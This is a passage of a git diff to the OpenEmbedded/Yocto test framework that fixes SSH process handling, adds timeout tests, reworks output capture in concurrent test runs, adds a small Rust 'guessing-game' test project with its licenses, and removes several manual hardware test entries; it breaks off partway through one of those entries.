@@ -269,6 +315,9 @@ def SSHCall(command, logger, timeout=None, **opts):
# whilst running and ensure we don't leave a process behind.
if process.poll() is None:
process.kill()
+ if process.returncode == None:
+ process.wait()
logger.debug('Something went wrong, killing SSH process')
raise
- return (process.wait(), output.rstrip())
+
+ return (process.returncode, output.rstrip())
diff --git a/meta/lib/oeqa/core/tests/cases/timeout.py b/meta/lib/oeqa/core/tests/cases/timeout.py
index 5dfecc7b7c..69cf969a67 100644
--- a/meta/lib/oeqa/core/tests/cases/timeout.py
+++ b/meta/lib/oeqa/core/tests/cases/timeout.py
@@ -8,6 +8,7 @@ from time import sleep
from oeqa.core.case import OETestCase
from oeqa.core.decorator.oetimeout import OETimeout
+from oeqa.core.decorator.depends import OETestDepends
class TimeoutTest(OETestCase):
@@ -19,3 +20,15 @@ class TimeoutTest(OETestCase):
def testTimeoutFail(self):
sleep(2)
self.assertTrue(True, msg='How is this possible?')
+
+
+ def testTimeoutSkip(self):
+ self.skipTest("This test needs to be skipped, so that testTimeoutDepends()'s OETestDepends kicks in")
+
+ @OETestDepends(["timeout.TimeoutTest.testTimeoutSkip"])
+ @OETimeout(3)
+ def testTimeoutDepends(self):
+ self.assertTrue(False, msg='How is this possible?')
+
+ def testTimeoutUnrelated(self):
+ sleep(6)
diff --git a/meta/lib/oeqa/core/tests/test_data.py b/meta/lib/oeqa/core/tests/test_data.py
index ac74098b78..acd726f3a0 100755
--- a/meta/lib/oeqa/core/tests/test_data.py
+++ b/meta/lib/oeqa/core/tests/test_data.py
@@ -33,7 +33,7 @@ class TestData(TestBase):
def test_data_fail_wrong_variable(self):
expectedError = 'AssertionError'
- d = {'IMAGE' : 'core-image-sato', 'ARCH' : 'arm'}
+ d = {'IMAGE' : 'core-image-weston', 'ARCH' : 'arm'}
tc = self._testLoader(d=d, modules=self.modules)
results = tc.runTests()
diff --git a/meta/lib/oeqa/core/tests/test_decorators.py b/meta/lib/oeqa/core/tests/test_decorators.py
index b798bf7d33..5095f39948 100755
--- a/meta/lib/oeqa/core/tests/test_decorators.py
+++ b/meta/lib/oeqa/core/tests/test_decorators.py
@@ -133,5 +133,11 @@ class TestTimeoutDecorator(TestBase):
msg = "OETestTimeout didn't restore SIGALRM"
self.assertIs(alarm_signal, signal.getsignal(signal.SIGALRM), msg=msg)
+ def test_timeout_cancel(self):
+ tests = ['timeout.TimeoutTest.testTimeoutSkip', 'timeout.TimeoutTest.testTimeoutDepends', 'timeout.TimeoutTest.testTimeoutUnrelated']
+ msg = 'Unrelated test failed to complete'
+ tc = self._testLoader(modules=self.modules, tests=tests)
+ self.assertTrue(tc.runTests().wasSuccessful(), msg=msg)
+
if __name__ == '__main__':
unittest.main()
diff --git a/meta/lib/oeqa/core/utils/concurrencytest.py b/meta/lib/oeqa/core/utils/concurrencytest.py
index b2eb68fb02..d10f8f7f04 100644
--- a/meta/lib/oeqa/core/utils/concurrencytest.py
+++ b/meta/lib/oeqa/core/utils/concurrencytest.py
@@ -1,5 +1,7 @@
#!/usr/bin/env python3
#
+# Copyright OpenEmbedded Contributors
+#
# SPDX-License-Identifier: GPL-2.0-or-later
#
# Modified for use in OE by Richard Purdie, 2018
@@ -48,11 +50,16 @@ _all__ = [
#
class BBThreadsafeForwardingResult(ThreadsafeForwardingResult):
- def __init__(self, target, semaphore, threadnum, totalinprocess, totaltests):
+ def __init__(self, target, semaphore, threadnum, totalinprocess, totaltests, output, finalresult):
super(BBThreadsafeForwardingResult, self).__init__(target, semaphore)
self.threadnum = threadnum
self.totalinprocess = totalinprocess
self.totaltests = totaltests
+ self.buffer = True
+ self.outputbuf = output
+ self.finalresult = finalresult
+ self.finalresult.buffer = True
+ self.target = target
def _add_result_with_semaphore(self, method, test, *args, **kwargs):
self.semaphore.acquire()
@@ -61,16 +68,19 @@ class BBThreadsafeForwardingResult(ThreadsafeForwardingResult):
self.result.starttime[test.id()] = self._test_start.timestamp()
self.result.threadprogress[self.threadnum].append(test.id())
totalprogress = sum(len(x) for x in self.result.threadprogress.values())
- self.result.progressinfo[test.id()] = "%s: %s/%s %s/%s (%ss) (%s)" % (
+ self.result.progressinfo[test.id()] = "%s: %s/%s %s/%s (%ss) (%s failed) (%s)" % (
self.threadnum,
len(self.result.threadprogress[self.threadnum]),
self.totalinprocess,
totalprogress,
self.totaltests,
"{0:.2f}".format(time.time()-self._test_start.timestamp()),
+ self.target.failed_tests,
test.id())
finally:
self.semaphore.release()
+ self.finalresult._stderr_buffer = io.StringIO(initial_value=self.outputbuf.getvalue().decode("utf-8"))
+ self.finalresult._stdout_buffer = io.StringIO()
super(BBThreadsafeForwardingResult, self)._add_result_with_semaphore(method, test, *args, **kwargs)
class ProxyTestResult:
@@ -183,35 +193,28 @@ class dummybuf(object):
#
class ConcurrentTestSuite(unittest.TestSuite):
- def __init__(self, suite, processes, setupfunc, removefunc):
+ def __init__(self, suite, processes, setupfunc, removefunc, bb_vars):
super(ConcurrentTestSuite, self).__init__([suite])
self.processes = processes
self.setupfunc = setupfunc
self.removefunc = removefunc
+ self.bb_vars = bb_vars
def run(self, result):
- tests, totaltests = fork_for_tests(self.processes, self)
+ testservers, totaltests = fork_for_tests(self.processes, self)
try:
threads = {}
queue = Queue()
semaphore = threading.Semaphore(1)
result.threadprogress = {}
- for i, (test, testnum) in enumerate(tests):
+ for i, (testserver, testnum, output) in enumerate(testservers):
result.threadprogress[i] = []
process_result = BBThreadsafeForwardingResult(
ExtraResultsDecoderTestResult(result),
- semaphore, i, testnum, totaltests)
- # Force buffering of stdout/stderr so the console doesn't get corrupted by test output
- # as per default in parent code
- process_result.buffer = True
- # We have to add a buffer object to stdout to keep subunit happy
- process_result._stderr_buffer = io.StringIO()
- process_result._stderr_buffer.buffer = dummybuf(process_result._stderr_buffer)
- process_result._stdout_buffer = io.StringIO()
- process_result._stdout_buffer.buffer = dummybuf(process_result._stdout_buffer)
+ semaphore, i, testnum, totaltests, output, result)
reader_thread = threading.Thread(
- target=self._run_test, args=(test, process_result, queue))
- threads[test] = reader_thread, process_result
+ target=self._run_test, args=(testserver, process_result, queue))
+ threads[testserver] = reader_thread, process_result
reader_thread.start()
while threads:
finished_test = queue.get()
@@ -222,13 +225,13 @@ class ConcurrentTestSuite(unittest.TestSuite):
process_result.stop()
raise
finally:
- for test in tests:
- test[0]._stream.close()
+ for testserver in testservers:
+ testserver[0]._stream.close()
- def _run_test(self, test, process_result, queue):
+ def _run_test(self, testserver, process_result, queue):
try:
try:
- test.run(process_result)
+ testserver.run(process_result)
except Exception:
# The run logic itself failed
case = testtools.ErrorHolder(
@@ -236,12 +239,12 @@ class ConcurrentTestSuite(unittest.TestSuite):
error=sys.exc_info())
case.run(process_result)
finally:
- queue.put(test)
+ queue.put(testserver)
def fork_for_tests(concurrency_num, suite):
- result = []
+ testservers = []
if 'BUILDDIR' in os.environ:
- selftestdir = get_test_layer()
+ selftestdir = get_test_layer(suite.bb_vars['BBLAYERS'])
test_blocks = partition_tests(suite, concurrency_num)
# Clear the tests from the original suite so it doesn't keep them alive
@@ -261,7 +264,7 @@ def fork_for_tests(concurrency_num, suite):
ourpid = os.getpid()
try:
newbuilddir = None
- stream = os.fdopen(c2pwrite, 'wb', 1)
+ stream = os.fdopen(c2pwrite, 'wb')
os.close(c2pread)
(builddir, newbuilddir) = suite.setupfunc("-st-" + str(ourpid), selftestdir, process_suite)
@@ -273,10 +276,11 @@ def fork_for_tests(concurrency_num, suite):
newsi = os.open(os.devnull, os.O_RDWR)
os.dup2(newsi, sys.stdin.fileno())
+ # Send stdout/stderr over the stream
+ os.dup2(c2pwrite, sys.stdout.fileno())
+ os.dup2(c2pwrite, sys.stderr.fileno())
+
subunit_client = TestProtocolClient(stream)
- # Force buffering of stdout/stderr so the console doesn't get corrupted by test output
- # as per default in parent code
- subunit_client.buffer = True
subunit_result = AutoTimingTestResultDecorator(subunit_client)
unittest_result = process_suite.run(ExtraResultsEncoderTestResult(subunit_result))
if ourpid != os.getpid():
@@ -305,10 +309,12 @@ def fork_for_tests(concurrency_num, suite):
os._exit(0)
else:
os.close(c2pwrite)
- stream = os.fdopen(c2pread, 'rb', 1)
- test = ProtocolTestCase(stream)
- result.append((test, numtests))
- return result, totaltests
+ stream = os.fdopen(c2pread, 'rb')
+ # Collect stdout/stderr into an io buffer
+ output = io.BytesIO()
+ testserver = ProtocolTestCase(stream, passthrough=output)
+ testservers.append((testserver, numtests, output))
+ return testservers, totaltests
def partition_tests(suite, count):
# Keep tests from the same class together but allow tests from modules
diff --git a/meta/lib/oeqa/core/utils/misc.py b/meta/lib/oeqa/core/utils/misc.py
deleted file mode 100644
index e1a59588eb..0000000000
--- a/meta/lib/oeqa/core/utils/misc.py
+++ /dev/null
@@ -1,47 +0,0 @@
-#
-# Copyright (C) 2016 Intel Corporation
-#
-# SPDX-License-Identifier: MIT
-#
-
-def toList(obj, obj_type, obj_name="Object"):
- if isinstance(obj, obj_type):
- return [obj]
- elif isinstance(obj, list):
- return obj
- else:
- raise TypeError("%s must be %s or list" % (obj_name, obj_type))
-
-def toSet(obj, obj_type, obj_name="Object"):
- if isinstance(obj, obj_type):
- return {obj}
- elif isinstance(obj, list):
- return set(obj)
- elif isinstance(obj, set):
- return obj
- else:
- raise TypeError("%s must be %s or set" % (obj_name, obj_type))
-
-def strToList(obj, obj_name="Object"):
- return toList(obj, str, obj_name)
-
-def strToSet(obj, obj_name="Object"):
- return toSet(obj, str, obj_name)
-
-def intToList(obj, obj_name="Object"):
- return toList(obj, int, obj_name)
-
-def dataStoteToDict(d, variables):
- data = {}
-
- for v in variables:
- data[v] = d.getVar(v)
-
- return data
-
-def updateTestData(d, td, variables):
- """
- Updates variables with values of data store to test data.
- """
- for var in variables:
- td[var] = d.getVar(var)
diff --git a/meta/lib/oeqa/files/maturin/guessing-game/Cargo.toml b/meta/lib/oeqa/files/maturin/guessing-game/Cargo.toml
new file mode 100644
index 0000000000..de95025e86
--- /dev/null
+++ b/meta/lib/oeqa/files/maturin/guessing-game/Cargo.toml
@@ -0,0 +1,20 @@
+[package]
+name = "guessing-game"
+version = "0.1.0"
+edition = "2021"
+
+# See more keys and their definitions at https://doc.rust-lang.org/cargo/reference/manifest.html
+
+[lib]
+name = "guessing_game"
+# "cdylib" is necessary to produce a shared library for Python to import from.
+crate-type = ["cdylib"]
+
+[dependencies]
+rand = "0.8.4"
+
+[dependencies.pyo3]
+version = "0.19.0"
+# "abi3-py38" tells pyo3 (and maturin) to build using the stable ABI with minimum Python version 3.8
+features = ["abi3-py38"]
+
diff --git a/meta/lib/oeqa/files/maturin/guessing-game/LICENSE-APACHE b/meta/lib/oeqa/files/maturin/guessing-game/LICENSE-APACHE
new file mode 100644
index 0000000000..16fe87b06e
--- /dev/null
+++ b/meta/lib/oeqa/files/maturin/guessing-game/LICENSE-APACHE
@@ -0,0 +1,201 @@
+ Apache License
+ Version 2.0, January 2004
+ http://www.apache.org/licenses/
+
+TERMS AND CONDITIONS FOR USE, REPRODUCTION, AND DISTRIBUTION
+
+1. Definitions.
+
+ "License" shall mean the terms and conditions for use, reproduction,
+ and distribution as defined by Sections 1 through 9 of this document.
+
+ "Licensor" shall mean the copyright owner or entity authorized by
+ the copyright owner that is granting the License.
+
+ "Legal Entity" shall mean the union of the acting entity and all
+ other entities that control, are controlled by, or are under common
+ control with that entity. For the purposes of this definition,
+ "control" means (i) the power, direct or indirect, to cause the
+ direction or management of such entity, whether by contract or
+ otherwise, or (ii) ownership of fifty percent (50%) or more of the
+ outstanding shares, or (iii) beneficial ownership of such entity.
+
+ "You" (or "Your") shall mean an individual or Legal Entity
+ exercising permissions granted by this License.
+
+ "Source" form shall mean the preferred form for making modifications,
+ including but not limited to software source code, documentation
+ source, and configuration files.
+
+ "Object" form shall mean any form resulting from mechanical
+ transformation or translation of a Source form, including but
+ not limited to compiled object code, generated documentation,
+ and conversions to other media types.
+
+ "Work" shall mean the work of authorship, whether in Source or
+ Object form, made available under the License, as indicated by a
+ copyright notice that is included in or attached to the work
+ (an example is provided in the Appendix below).
+
+ "Derivative Works" shall mean any work, whether in Source or Object
+ form, that is based on (or derived from) the Work and for which the
+ editorial revisions, annotations, elaborations, or other modifications
+ represent, as a whole, an original work of authorship. For the purposes
+ of this License, Derivative Works shall not include works that remain
+ separable from, or merely link (or bind by name) to the interfaces of,
+ the Work and Derivative Works thereof.
+
+ "Contribution" shall mean any work of authorship, including
+ the original version of the Work and any modifications or additions
+ to that Work or Derivative Works thereof, that is intentionally
+ submitted to Licensor for inclusion in the Work by the copyright owner
+ or by an individual or Legal Entity authorized to submit on behalf of
+ the copyright owner. For the purposes of this definition, "submitted"
+ means any form of electronic, verbal, or written communication sent
+ to the Licensor or its representatives, including but not limited to
+ communication on electronic mailing lists, source code control systems,
+ and issue tracking systems that are managed by, or on behalf of, the
+ Licensor for the purpose of discussing and improving the Work, but
+ excluding communication that is conspicuously marked or otherwise
+ designated in writing by the copyright owner as "Not a Contribution."
+
+ "Contributor" shall mean Licensor and any individual or Legal Entity
+ on behalf of whom a Contribution has been received by Licensor and
+ subsequently incorporated within the Work.
+
+2. Grant of Copyright License. Subject to the terms and conditions of
+ this License, each Contributor hereby grants to You a perpetual,
+ worldwide, non-exclusive, no-charge, royalty-free, irrevocable
+ copyright license to reproduce, prepare Derivative Works of,
+ publicly display, publicly perform, sublicense, and distribute the
+ Work and such Derivative Works in Source or Object form.
+
+3. Grant of Patent License. Subject to the terms and conditions of
+ this License, each Contributor hereby grants to You a perpetual,
+ worldwide, non-exclusive, no-charge, royalty-free, irrevocable
+ (except as stated in this section) patent license to make, have made,
+ use, offer to sell, sell, import, and otherwise transfer the Work,
+ where such license applies only to those patent claims licensable
+ by such Contributor that are necessarily infringed by their
+ Contribution(s) alone or by combination of their Contribution(s)
+ with the Work to which such Contribution(s) was submitted. If You
+ institute patent litigation against any entity (including a
+ cross-claim or counterclaim in a lawsuit) alleging that the Work
+ or a Contribution incorporated within the Work constitutes direct
+ or contributory patent infringement, then any patent licenses
+ granted to You under this License for that Work shall terminate
+ as of the date such litigation is filed.
+
+4. Redistribution. You may reproduce and distribute copies of the
+ Work or Derivative Works thereof in any medium, with or without
+ modifications, and in Source or Object form, provided that You
+ meet the following conditions:
+
+ (a) You must give any other recipients of the Work or
+ Derivative Works a copy of this License; and
+
+ (b) You must cause any modified files to carry prominent notices
+ stating that You changed the files; and
+
+ (c) You must retain, in the Source form of any Derivative Works
+ that You distribute, all copyright, patent, trademark, and
+ attribution notices from the Source form of the Work,
+ excluding those notices that do not pertain to any part of
+ the Derivative Works; and
+
+ (d) If the Work includes a "NOTICE" text file as part of its
+ distribution, then any Derivative Works that You distribute must
+ include a readable copy of the attribution notices contained
+ within such NOTICE file, excluding those notices that do not
+ pertain to any part of the Derivative Works, in at least one
+ of the following places: within a NOTICE text file distributed
+ as part of the Derivative Works; within the Source form or
+ documentation, if provided along with the Derivative Works; or,
+ within a display generated by the Derivative Works, if and
+ wherever such third-party notices normally appear. The contents
+ of the NOTICE file are for informational purposes only and
+ do not modify the License. You may add Your own attribution
+ notices within Derivative Works that You distribute, alongside
+ or as an addendum to the NOTICE text from the Work, provided
+ that such additional attribution notices cannot be construed
+ as modifying the License.
+
+ You may add Your own copyright statement to Your modifications and
+ may provide additional or different license terms and conditions
+ for use, reproduction, or distribution of Your modifications, or
+ for any such Derivative Works as a whole, provided Your use,
+ reproduction, and distribution of the Work otherwise complies with
+ the conditions stated in this License.
+
+5. Submission of Contributions. Unless You explicitly state otherwise,
+ any Contribution intentionally submitted for inclusion in the Work
+ by You to the Licensor shall be under the terms and conditions of
+ this License, without any additional terms or conditions.
+ Notwithstanding the above, nothing herein shall supersede or modify
+ the terms of any separate license agreement you may have executed
+ with Licensor regarding such Contributions.
+
+6. Trademarks. This License does not grant permission to use the trade
+ names, trademarks, service marks, or product names of the Licensor,
+ except as required for reasonable and customary use in describing the
+ origin of the Work and reproducing the content of the NOTICE file.
+
+7. Disclaimer of Warranty. Unless required by applicable law or
+ agreed to in writing, Licensor provides the Work (and each
+ Contributor provides its Contributions) on an "AS IS" BASIS,
+ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or
+ implied, including, without limitation, any warranties or conditions
+ of TITLE, NON-INFRINGEMENT, MERCHANTABILITY, or FITNESS FOR A
+ PARTICULAR PURPOSE. You are solely responsible for determining the
+ appropriateness of using or redistributing the Work and assume any
+ risks associated with Your exercise of permissions under this License.
+
+8. Limitation of Liability. In no event and under no legal theory,
+ whether in tort (including negligence), contract, or otherwise,
+ unless required by applicable law (such as deliberate and grossly
+ negligent acts) or agreed to in writing, shall any Contributor be
+ liable to You for damages, including any direct, indirect, special,
+ incidental, or consequential damages of any character arising as a
+ result of this License or out of the use or inability to use the
+ Work (including but not limited to damages for loss of goodwill,
+ work stoppage, computer failure or malfunction, or any and all
+ other commercial damages or losses), even if such Contributor
+ has been advised of the possibility of such damages.
+
+9. Accepting Warranty or Additional Liability. While redistributing
+ the Work or Derivative Works thereof, You may choose to offer,
+ and charge a fee for, acceptance of support, warranty, indemnity,
+ or other liability obligations and/or rights consistent with this
+ License. However, in accepting such obligations, You may act only
+ on Your own behalf and on Your sole responsibility, not on behalf
+ of any other Contributor, and only if You agree to indemnify,
+ defend, and hold each Contributor harmless for any liability
+ incurred by, or claims asserted against, such Contributor by reason
+ of your accepting any such warranty or additional liability.
+
+END OF TERMS AND CONDITIONS
+
+APPENDIX: How to apply the Apache License to your work.
+
+ To apply the Apache License to your work, attach the following
+ boilerplate notice, with the fields enclosed by brackets "[]"
+ replaced with your own identifying information. (Don't include
+ the brackets!) The text should be enclosed in the appropriate
+ comment syntax for the file format. We also recommend that a
+ file or class name and description of purpose be included on the
+ same "printed page" as the copyright notice for easier
+ identification within third-party archives.
+
+Copyright [yyyy] [name of copyright owner]
+
+Licensed under the Apache License, Version 2.0 (the "License");
+you may not use this file except in compliance with the License.
+You may obtain a copy of the License at
+
+ http://www.apache.org/licenses/LICENSE-2.0
+
+Unless required by applicable law or agreed to in writing, software
+distributed under the License is distributed on an "AS IS" BASIS,
+WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+See the License for the specific language governing permissions and
+limitations under the License.
diff --git a/meta/lib/oeqa/files/maturin/guessing-game/LICENSE-MIT b/meta/lib/oeqa/files/maturin/guessing-game/LICENSE-MIT
new file mode 100644
index 0000000000..c4a9a58791
--- /dev/null
+++ b/meta/lib/oeqa/files/maturin/guessing-game/LICENSE-MIT
@@ -0,0 +1,25 @@
+Copyright (c) 2018 konstin
+
+Permission is hereby granted, free of charge, to any
+person obtaining a copy of this software and associated
+documentation files (the "Software"), to deal in the
+Software without restriction, including without
+limitation the rights to use, copy, modify, merge,
+publish, distribute, sublicense, and/or sell copies of
+the Software, and to permit persons to whom the Software
+is furnished to do so, subject to the following
+conditions:
+
+The above copyright notice and this permission notice
+shall be included in all copies or substantial portions
+of the Software.
+
+THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF
+ANY KIND, EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED
+TO THE WARRANTIES OF MERCHANTABILITY, FITNESS FOR A
+PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT
+SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY
+CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION
+OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR
+IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER
+DEALINGS IN THE SOFTWARE.
diff --git a/meta/lib/oeqa/files/maturin/guessing-game/pyproject.toml b/meta/lib/oeqa/files/maturin/guessing-game/pyproject.toml
new file mode 100644
index 0000000000..ff35abc472
--- /dev/null
+++ b/meta/lib/oeqa/files/maturin/guessing-game/pyproject.toml
@@ -0,0 +1,8 @@
+[build-system]
+requires = ["maturin>=1.0,<2.0"]
+build-backend = "maturin"
+
+[tool.maturin]
+# "extension-module" tells pyo3 we want to build an extension module (skips linking against libpython.so)
+features = ["pyo3/extension-module"]
+
diff --git a/meta/lib/oeqa/files/maturin/guessing-game/src/lib.rs b/meta/lib/oeqa/files/maturin/guessing-game/src/lib.rs
new file mode 100644
index 0000000000..6828466ed1
--- /dev/null
+++ b/meta/lib/oeqa/files/maturin/guessing-game/src/lib.rs
@@ -0,0 +1,48 @@
+use pyo3::prelude::*;
+use rand::Rng;
+use std::cmp::Ordering;
+use std::io;
+
+#[pyfunction]
+fn guess_the_number() {
+ println!("Guess the number!");
+
+ let secret_number = rand::thread_rng().gen_range(1..101);
+
+ loop {
+ println!("Please input your guess.");
+
+ let mut guess = String::new();
+
+ io::stdin()
+ .read_line(&mut guess)
+ .expect("Failed to read line");
+
+ let guess: u32 = match guess.trim().parse() {
+ Ok(num) => num,
+ Err(_) => continue,
+ };
+
+ println!("You guessed: {}", guess);
+
+ match guess.cmp(&secret_number) {
+ Ordering::Less => println!("Too small!"),
+ Ordering::Greater => println!("Too big!"),
+ Ordering::Equal => {
+ println!("You win!");
+ break;
+ }
+ }
+ }
+}
+
+/// A Python module implemented in Rust. The name of this function must match
+/// the `lib.name` setting in the `Cargo.toml`, else Python will not be able to
+/// import the module.
+#[pymodule]
+fn guessing_game(_py: Python, m: &PyModule) -> PyResult<()> {
+ m.add_function(wrap_pyfunction!(guess_the_number, m)?)?;
+
+ Ok(())
+}
+
diff --git a/meta/lib/oeqa/files/test.rs b/meta/lib/oeqa/files/test.rs
new file mode 100644
index 0000000000..f79c691f08
--- /dev/null
+++ b/meta/lib/oeqa/files/test.rs
@@ -0,0 +1,2 @@
+fn main() {
+}
diff --git a/meta/lib/oeqa/files/testresults/testresults.json b/meta/lib/oeqa/files/testresults/testresults.json
index 1a62155618..86e5e412af 100644
--- a/meta/lib/oeqa/files/testresults/testresults.json
+++ b/meta/lib/oeqa/files/testresults/testresults.json
@@ -1,5 +1,5 @@
{
- "runtime_core-image-minimal_qemuarm_20181225195701": {
+ "runtime_core-image-minimal:qemuarm_20181225195701": {
"configuration": {
"DISTRO": "poky",
"HOST_DISTRO": "ubuntu-16.04",
diff --git a/meta/lib/oeqa/manual/bsp-hw.json b/meta/lib/oeqa/manual/bsp-hw.json
index a9bc7d4501..308a0807f3 100644
--- a/meta/lib/oeqa/manual/bsp-hw.json
+++ b/meta/lib/oeqa/manual/bsp-hw.json
@@ -26,7 +26,7 @@
"expected_results": ""
},
"5": {
- "action": "Remove USB, and reboot into new installed system. \nNote: If installation was successfully completed and received this message \"\"(sdx): Volume was not properly unmounted...Please run fsck.\"\" ignore it because this was whitelisted according to bug 9652.",
+ "action": "Remove USB, and reboot into new installed system. \nNote: If installation was successfully completed and received this message \"\"(sdx): Volume was not properly unmounted...Please run fsck.\"\" ignore it because this was allowed according to bug 9652.",
"expected_results": ""
}
},
@@ -61,92 +61,6 @@
},
{
"test": {
- "@alias": "bsps-hw.bsps-hw.boot_from_runlevel_3",
- "author": [
- {
- "email": "alexandru.c.georgescu@intel.com",
- "name": "alexandru.c.georgescu@intel.com"
- }
- ],
- "execution": {
- "1": {
- "action": "Boot into system and edit /etc/inittab to make sure that system enter at the run level 3 by default, this is done by changing the line \n\n\nid:5:initdefault \n\nto \n\nid:3:initdefault \n\n",
- "expected_results": ""
- },
- "2": {
- "action": "Reboot system, and press \"Tab\" to enter \"grub\"",
- "expected_results": ""
- },
- "3": {
- "action": "Get into the \"kernel\" line with the edit option \"e\" and add \"psplash=false text\" at the end line.",
- "expected_results": ""
- },
- "4": {
- "action": "Press \"F10\" or \"ctrl+x\" to boot system",
- "expected_results": ""
- },
- "5": {
- "action": "If system ask you for a login type \"root\"",
- "expected_results": "System should boot to run level 3, showing the command prompt."
- }
- },
- "summary": "boot_from_runlevel_3"
- }
- },
- {
- "test": {
- "@alias": "bsps-hw.bsps-hw.boot_from_runlevel_5",
- "author": [
- {
- "email": "alexandru.c.georgescu@intel.com",
- "name": "alexandru.c.georgescu@intel.com"
- }
- ],
- "execution": {
- "1": {
- "action": "Boot into system and edit /etc/inittab to make sure that system enter at the run level 5 by default, this is done by changing the line \n\nid:3:initdefault \n\nto \n\nid:5:initdefault \n\n",
- "expected_results": ""
- },
- "2": {
- "action": "Reboot system, and press \"Tab\" to enter \"grub\"",
- "expected_results": ""
- },
- "3": {
- "action": "Get into the \"kernel\" line with the edit option \"e\" and add \"psplash=false text\" at the end line.",
- "expected_results": ""
- },
- "4": {
- "action": "Press \"F10\" or \"ctrl+x\" to boot system \nNote: The test is only for sato image.",
- "expected_results": "System should boot to runlevel 5 ."
- }
- },
- "summary": "boot_from_runlevel_5"
- }
- },
- {
- "test": {
- "@alias": "bsps-hw.bsps-hw.shutdown_system",
- "author": [
- {
- "email": "alexandru.c.georgescu@intel.com",
- "name": "alexandru.c.georgescu@intel.com"
- }
- ],
- "execution": {
- "1": {
- "action": "boot system",
- "expected_results": ""
- },
- "2": {
- "action": "launch terminal and run \"shutdown -h now\" or \"poweroff\"",
- "expected_results": "System can be shutdown successfully . "
- }
- },
- "summary": "shutdown_system"
- }
- },
- {
- "test": {
"@alias": "bsps-hw.bsps-hw.switch_among_multi_applications_and_desktop",
"author": [
{
@@ -177,70 +91,6 @@
},
{
"test": {
- "@alias": "bsps-hw.bsps-hw.ethernet_static_ip_set_in_connman",
- "author": [
- {
- "email": "alexandru.c.georgescu@intel.com",
- "name": "alexandru.c.georgescu@intel.com"
- }
- ],
- "execution": {
- "1": {
- "action": "Boot the system and check internet connection is on . ",
- "expected_results": ""
- },
- "2": {
- "action": "Launch connmand-properties (up-right corner on desktop)",
- "expected_results": ""
- },
- "3": {
- "action": "Choose Ethernet device and set a valid static ip address for it. \nFor example, in our internal network, we can set as following: \nip address: 10.239.48.xxx \nMask: 255.255.255.0 \nGateway (Broadcast): 10.239.48.255",
- "expected_results": ""
- },
- "4": {
- "action": "Check the Network configuration with \"ifconfig\"",
- "expected_results": "Static IP was set successfully \n"
- },
- "5": {
- "action": "ping to another IP adress",
- "expected_results": "Ping works correclty\n"
- }
- },
- "summary": "ethernet_static_ip_set_in_connman"
- }
- },
- {
- "test": {
- "@alias": "bsps-hw.bsps-hw.ethernet_get_IP_in_connman_via_DHCP",
- "author": [
- {
- "email": "alexandru.c.georgescu@intel.com",
- "name": "alexandru.c.georgescu@intel.com"
- }
- ],
- "execution": {
- "1": {
- "action": "Launch connmand-properties (up-right corner on your desktop). ",
- "expected_results": ""
- },
- "2": {
- "action": "Check if Ethernet device can work properly with static IP, doing \"ping XXX.XXX.XXX.XXX\", once this is set.",
- "expected_results": "Ping executed successfully . \n\n"
- },
- "3": {
- "action": "Then choose DHCP method for Ethernet device in connmand-properties.",
- "expected_results": ""
- },
- "4": {
- "action": "Check with 'ifconfig\" and \"ping\" if Ethernet device get IP address via DHCP.",
- "expected_results": "Ethernet device can get dynamic IP address via DHCP in connmand ."
- }
- },
- "summary": "ethernet_get_IP_in_connman_via_DHCP"
- }
- },
- {
- "test": {
"@alias": "bsps-hw.bsps-hw.connman_offline_mode_in_connman-gnome",
"author": [
{
@@ -263,62 +113,6 @@
},
{
"test": {
- "@alias": "bsps-hw.bsps-hw.X_server_can_start_up_with_runlevel_5_boot",
- "author": [
- {
- "email": "alexandru.c.georgescu@intel.com",
- "name": "alexandru.c.georgescu@intel.com"
- }
- ],
- "execution": {
- "1": {
- "action": "boot up system with default runlevel \n\n",
- "expected_results": "X server can start up well and desktop display has no problem . \n\n"
- },
- "2": {
- "action": "type runlevel at command prompt",
- "expected_results": "Output:N 5"
- }
- },
- "summary": "X_server_can_start_up_with_runlevel_5_boot"
- }
- },
- {
- "test": {
- "@alias": "bsps-hw.bsps-hw.standby",
- "author": [
- {
- "email": "alexandru.c.georgescu@intel.com",
- "name": "alexandru.c.georgescu@intel.com"
- }
- ],
- "execution": {
- "1": {
- "action": "boot system and launch terminal; check output of \"date\" and launch script \"continue.sh\"",
- "expected_results": ""
- },
- "2": {
- "action": "echo \"mem\" > /sys/power/state",
- "expected_results": ""
- },
- "3": {
- "action": "After system go into S3 mode, move mouse or press any key to make it resume (on NUC press power button)",
- "expected_results": ""
- },
- "4": {
- "action": "Check \"date\" and script \"continue.sh\"",
- "expected_results": ""
- },
- "5": {
- "action": "Check if application can work as normal \ncontinue.sh as below: \n \n#!/bin/sh \n \ni=1 \nwhile [ 0 ] \ndo \n echo $i \n sleep 1 \n i=$((i+1)) \ndone ",
- "expected_results": "Screen should resume back and script can run continuously incrementing the i's value from where it was before going to standby state. Date should be the same with the corresponding time increment."
- }
- },
- "summary": "standby"
- }
- },
- {
- "test": {
"@alias": "bsps-hw.bsps-hw.check_CPU_utilization_after_standby",
"author": [
{
@@ -349,88 +143,6 @@
},
{
"test": {
- "@alias": "bsps-hw.bsps-hw.Test_if_LAN_device_works_well_after_resume_from_suspend_state",
- "author": [
- {
- "email": "alexandru.c.georgescu@intel.com",
- "name": "alexandru.c.georgescu@intel.com"
- }
- ],
- "execution": {
- "1": {
- "action": "boot system and launch terminal",
- "expected_results": ""
- },
- "2": {
- "action": "echo \"mem\" > /sys/power/state",
- "expected_results": ""
- },
- "3": {
- "action": "After system go into S3 mode, move mouse or press any key to make it resume",
- "expected_results": ""
- },
- "4": {
- "action": "check ping status \n\nNote: This TC apply only for core-image-full-cmd.",
- "expected_results": "ping should always work before/after standby"
- }
- },
- "summary": "Test_if_LAN_device_works_well_after_resume_from_suspend_state"
- }
- },
- {
- "test": {
- "@alias": "bsps-hw.bsps-hw.Test_if_usb_hid_device_works_well_after_resume_from_suspend_state",
- "author": [
- {
- "email": "alexandru.c.georgescu@intel.com",
- "name": "alexandru.c.georgescu@intel.com"
- }
- ],
- "execution": {
